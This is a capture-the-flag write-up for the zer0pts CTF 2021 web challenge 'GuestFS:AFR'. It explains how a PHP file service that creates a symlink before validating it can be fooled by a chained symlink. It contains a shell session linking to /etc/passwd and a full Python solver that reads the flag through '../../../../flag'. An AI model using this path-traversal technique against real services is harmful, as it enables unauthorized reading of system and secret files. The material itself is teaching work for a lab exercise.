# GuestFS:AFR - zer0pts CTF 2021
###### tags: `zer0pts CTF 2021` `web`
## Overview
- This is a service that you can create, read, and delete files including symbolic links.
- Filename should not contain characters except for `0-9A-Za-z`.
- When you create a symbolic link, the link target should not start with `/` or contain `..`.
## Solution
Paths of link targets will be only checked when files are created. Looking through the source code, you will notice that the order of checking a target path is, calling `symlink`, then checking the target path with `readlink`. Why does it checks the target path after a symbolic link is created?
```php=40
/* Create a symbolic link */
@symlink($target, $this->root.$name);
/* This check ensures $target points to inside user-space */
try {
$this->validate_filepath(@readlink($this->root.$name));
} catch(Exception $e) {
/* Revert changes */
@unlink($this->root.$name);
throw $e;
}
```
Let's check the behavior of symbolic links to look for a way to abuse it. When we make a symbolic chain like `a -> b -> c`, how do `readlink` and reading files work?
As the result below shows, `readlink('a')` returns `b` and `file_get_contents('a')` returns the contents of `c`.
```
$ psysh
Psy Shell v0.10.6 (PHP 7.2.24-0ubuntu0.18.04.7 — cli) by Justin Hileman
>>> symlink('c', 'b')
=> true
>>> symlink('b', 'a')
=> true
>>> file_put_contents('c', 'test')
=> 4
>>>
>>> readlink('a')
=> "b"
```
In addition to that, when we remove `c` and try to replace `a` with new symlink, how does it work?
As the result below shows, a symlink named `c` that targets `/etc/passwd` is created, and `symlink('a')` still returns `b`.
```
>>> unlink('c')
=> true
>>> symlink('/etc/passwd', 'a')
=> true
>>> readlink('a')
=> "b"
>>> passthru('ls -la')
total 8
drwx------ 2 st98 st98 4096 Mar 7 09:22 .
drwxrwxrwt 58 root root 4096 Mar 7 09:18 ..
lrwxrwxrwx 1 st98 st98 1 Mar 7 09:16 a -> b
lrwxrwxrwx 1 st98 st98 1 Mar 7 09:16 b -> c
lrwxrwxrwx 1 st98 st98 11 Mar 7 09:22 c -> /etc/passwd
=> null
```
Using these behaviors, you can bypass the check of target paths in the following steps. This is because when creating a symlink that targets `../../../../flag`, `readlink('a')` returns `b`, which does not contain `..` and is valid, but actually it is creating a symlink to `../../../../flag`.
1. Make a symbolic link chain like `a -> b -> c`
2. Delete `c`
3. `symlink('../../../../flag', 'a')`
### Solver
```python=
import re
import requests
BASE = 'http://web.ctf.zer0pts.com:8001/'
sess = requests.Session()
sess.get(BASE)
# make a -> b -> c
sess.post(BASE, data={
'name': 'c', 'type': '', 'mode': 'create', 'target': '.'
})
sess.post(BASE, data={
'name': 'b', 'type': '', 'mode': 'create', 'target': 'c'
})
sess.post(BASE, data={
'name': 'a', 'type': '', 'mode': 'create', 'target': 'b'
})
# delete c
sess.post(BASE, data={
'name': 'c', 'mode': 'delete'
})
# make symlink('../../../../flag', 'a')
sess.post(BASE, data={
'name': 'a', 'type': '', 'mode': 'create', 'target': '../../../../flag'
})
# :)
req = sess.post(BASE, data={
'name': 'a', 'mode': 'read'
})
print(re.findall(r'zer0pts\{.+?\}', req.text)[0])
```
Let's execute it.
```
$ python solve.py
zer0pts{[Use-After-FreeLink?](https://gruss.cc/files/uafmail.pdf)}
```
```
zer0pts{[Use-After-FreeLink?](https://gruss.cc/files/uafmail.pdf)}
```